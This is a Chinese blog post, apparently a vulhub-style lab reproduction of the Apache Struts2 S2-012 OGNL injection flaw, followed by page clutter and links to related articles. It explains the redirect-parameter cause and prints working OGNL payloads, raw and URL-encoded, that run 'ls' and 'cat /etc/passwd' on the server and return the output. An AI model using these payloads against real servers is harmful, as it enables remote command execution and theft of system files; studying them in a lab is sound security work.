struts2远程S2-012复现学习

深入解析Apache Struts2 S2-012漏洞:OGNL表达式注入原理与实战复现 表达式注入是一种常见的安全漏洞类型,其核心原理在于应用程序将用户可控的输入数据,未经充分验证和过滤,便作为代码或指令进行解析执行。在Java Web开发领域,OGNL(Object-Graph Navigation Language)作为强大的表达式语言,被广泛应用于数据绑定和动态取值。当框架对OGNL表达式的执行权限控制不当时,攻击者便能通过注入恶意表达式,实现从数据窃取到系统命令执行等高危操作,其技术价值在于深刻揭示了输入验证与代码执行边界的重要性。这种漏洞常出现在采用特定框架(如Apache Stru 阅读详情

S2-012复现

原理:

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响版本:Struts 2.1.0-2.3.13

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

漏洞搭建

在这里插入图片描述

poc构建

%25%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%22%2f%62%69%6e%2f%62%61%73%68%22%2c%22%2d%63%22%2c%20%22%6c%73%22%7d%29%29%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%66%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2c%23%66%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%66%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%66%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d

在这里插入图片描述

Poc2:

原始poc:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "ls})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

注:利用此漏洞需要进行url编码

%25%7B#a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22cat%22,%20%22/etc/passwd%22%7D)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new%20java.io.InputStreamReader(#b),#d=new%20java.io.BufferedReader(#c),#e=new%20char%5B50000%5D,#d.read(#e),#f=#context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),#f.getWriter().println(new%20java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()%7D

在这里插入图片描述

【漏洞复现】Struts2-12远程命令执行 提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 关于 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 一、环境准备 二、步骤 1. 2. 总结 提示:这里对文章进行总结: 例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。 ... 阅读详情

相关推荐

vulhub系列之struts2(s2-001、s2-007、s2-008、s2-009、s2-012)

S2-001 远程代码执行漏洞 漏洞详情: 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 影响版本: Struts 2.0.0 - Struts 2.0.8 漏洞复现: 测试漏洞,%{1+1} 提交后报错返回解析为

weixin_43071873的博客 1717

S2-012 远程代码执行漏洞检测与利用

前言 漏洞环境改自vulhub的,环境地址 https://github.com/kingkaki/Struts2-Vulenv/tree/master/S2-012 漏洞信息 https://cwiki.apache.org/confluence/display/WW/S2-012 当发生重定向时,OGNL表达式会进行二次评估,导致之前在S2-003、S2-005、S2-009进...

Fly_鹏程万里 3179

【安全漏洞】Struts2漏洞集合总结

总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用docker部署。

HBohan的博客 3598

s2-012远程代码执行漏洞

一、漏洞描述: 如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量 xml <package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> ...

Stephen Wolf 1130

(s2-012) Struts2 远程代码执行

影响版本 2.1.0 - 2.3.13 漏洞原理 如果在配置result在action时使用了重定向类型,并且$ {PARAM_NAME}也被用作重定向变量,例如: <package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect"&g

weixin_45253622的博客 2861

告别激活烦恼:Lattice Diamond 3.13 永久免费License申请与配置全攻略(Windows 64位)

本文详细介绍了Lattice Diamond 3.13永久免费License的申请与配置全流程,特别针对Windows 64位系统用户。从官网导航的隐藏路径到Host ID的获取方式,再到License文件的高级处理技巧和环境变量的深度配置,提供了全面的安装教程和疑难问题解决方案,帮助开发者彻底告别激活烦恼。

weixin_28736335的博客 429

java struts2 漏洞复现合集

目录 一、S2-001复现 二、S2-005复现 三、S2-007复现 四、S2-008复现 五、S2-009复现 六、S2-012复现 七、S2-013复现 八、S2-015复现 九、S2-016复现 十、S2-045复现 十一、S2-048复现 十二、S2-052复现 十三、S2-053复现 十四、S2-057复现 十五、S2-019复现 十六、S2-devMode 复现 Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 i

whatday的专栏 9752

计算机图形学入门30:动画与模拟介绍

计算机图形学入门,动画与模拟,物理模拟,质点弹簧系统,运动学,粒子系统,动作捕捉。

YanisWu的博客 1485

[旧文系列] Struts2历史高危漏洞系列-part3:S2-012/S2-013/S2-015

文章目录关于<旧文系列>前言S2-012漏洞复现与分析可回显PoC漏洞修复S2-013漏洞复现与分析可回显PoC漏洞修复S2-015漏洞复现与分析Vuln-1: Wildcard matchingVuln-1 可回显PoCVuln-2:Double evaluation of an expressionVuln-2 可回显PoC漏洞修复针对 Vuln-1:Wildcard matching 的漏洞修复针对 Vuln-2:Double evaluation of an expression 的漏洞

mole_exp的博客 1694

Win11下CH340串口识别失败的终极排查指南:从驱动更新到硬件电路检查

本文提供了Windows 11系统下CH340串口芯片识别失败的全面排查指南。从驱动更新、系统设置等软件层面入手,逐步深入到USB线缆、电源测量等硬件连接检查,并重点剖析了硬件设计细节,如电源退耦电容容值对设备描述符请求的关键影响,最终帮助开发者系统性地定位并解决识别难题。

weixin_29174013的博客 592

Windows系统下LaTeX环境搭建与编辑器配置全攻略

本文详细介绍了在Windows系统下搭建LaTeX环境的完整流程,包括TeX Live的安装、TeXStudio编辑器的配置优化以及常见问题排查。特别针对中文用户推荐使用清华镜像源加速下载,并提供了XeLaTeX编译器配置、中文支持等实用技巧,帮助用户快速上手LaTeX文档编写。

weixin_42554408的博客 449

漏洞复现----32、Struts2/S2-012

文章目录一、漏洞原理二、环境启动三、漏洞复现 一、漏洞原理 在S2-003、005、009解决了参数名称及参数值处OGNL 表达式评估问题,其修复方案也是基于将可接受的参数名称列入白名单并拒绝对参数中包含的表达式进行OGNL解析,如此一来,这些修复动作也仅对部分漏洞有效果。 S2-012中,包含特制请求参数的请求可用于将任意 OGNL 代码注入属性,然后用作重定向地址的请求参数,这将导致进一步评估。当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时,将进行第二次评估。这使恶意用户可以将任意 O

七天 809

VSCode PlantUML 插件超详细教程:从安装配置到实战绘图全流程

VSCode PlantUML 插件超详细教程:从安装配置到实战绘图全流程

weixin_69237381的博客 911

Struts2框架漏洞总结与复现(上) 含Struts2检测工具

在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。时使用了重定向类型,并且还使用paramname作为重定向变量,UserAction中定义有一个name变量,当触发redirect类型返回时,Struts2获取使用{name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任何OGNL表达式导致命令执行。在账号密码的输入框中测试是否存在漏洞。

qq_53058639的博客 2475

从点云到舱口尺寸:船甲板舱口检测的算法实现

本文提出了一种从船甲板激光扫描点云中自动检测舱口尺寸的算法。通过数据预处理(降采样、去噪、平面分割)后,采用甲板投影轮廓法将3D点云转换为2D图像,利用双次闭运算解决扫描碎片化问题,通过轮廓树检测内轮廓识别舱口。算法最终能稳定检测出三个主要舱口的长宽尺寸、面积和位置信息,矩形度超过0.89。该方法克服了扫描稀疏和围壁结构复杂的问题,参数可调性强,适用于工程实践。关键创新点在于将舱口识别转化为图像中的"洞"检测,而非直接处理3D几何特征。

点云兔子的博客 147

免ROOT、不刷机、不依赖Xposed实现Android改机的思路

最近在一个项目中需要模拟多种Android设备的环境。无奈市面上的大部分改机工具,要么需要ROOT权限,要么依赖Xposed,甚至还得重启设备。为了实现更灵活、更干净的改机方式,我开始了漫长的技术探索,最终找到了免ROOT、不刷机、拒绝Xposed的实现路径。Android_IDIMEI手机序列号手机型号、品牌、CPU型号等硬件信息GPS位置、Wi-Fi参数、通话记录、短信等软硬件数据这些信息通常用于标识设备唯一性,而改机就是对这些标识数据进行模拟或篡改。

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 2673

Struts2漏洞分析与复现合集

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。 漏洞环境搭建 https://github.com/vulhub/vulhub/tree/master/struts2/s2-001 运行以下命令进行设置 .............

未完成的歌~的博客 9263

JavaSwing_4.2: JDialog、JOptionPane(对话框)

JDialog,对话框。使用 JDialog 类可以创建自定义有的对话框,或者调用 JOptionPane 中的多个静态方法快速创建各种标准的对话框。JOptionPane是 JavaSwing 内部已实现好的,以静态方法的形式提供调用,能够快速方便的弹出要求用户提供值或向其发出通知的标准对话框。

谢TS的博客 7万+

vulhub中Struts2-012 远程代码执行漏洞复现

漏洞复现过程的记录

yougexiaojiuguan的博客 459

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

Vulhub下的Struts-2漏洞复现

参考网址: https://github.com/phith0n/vulhub/tree/master/struts2/ Struts-S2-001 远程代码利用表单验证错误 1.漏洞描述 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的...

weixin_44508748的博客 2万+

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

『Java安全』Struts 2.3.14.2 重定向参数二次解析OGNL注入漏洞S2-012复现与浅析

result是重定向并且配置参数时,该参数会从值栈弹出并进行OGNL解析,最后填充到URL完成重定向。

Ho1aAs‘s Blog 724

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

S2-012 远程代码执行漏洞

漏洞简介 影响版本: 2.1.0 - 2.3.13 详细请到:https://github.com/vulhub/vulhub/blob/master/struts2/s2-012/README.zh-cn.md 漏洞复现 提交以下poc即可运行命令: %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInpu

EC_Carrot的博客 425

Struts2 S2-012复现

Struts2 S2-012复现

ZJT6666666的博客 336

buuctf [struts2]s2-012

漏洞简介 如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如: <package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect">/index.jsp?n

qq_1873822的博客 529

struts漏洞总结

struts2漏洞,从S2-001到 S2-061,嘿嘿。

Fiverya的博客 7481

Java漏洞复现(ctfshow279-297)strust 漏洞复现及原理解释

而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

m0_74402888的博客 1224
上一篇: Struts2漏洞S2-005复现笔记
下一篇: struts2远程S2-013复现学习
脚本实习生
博客等级 码龄8年 12粉丝 27原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值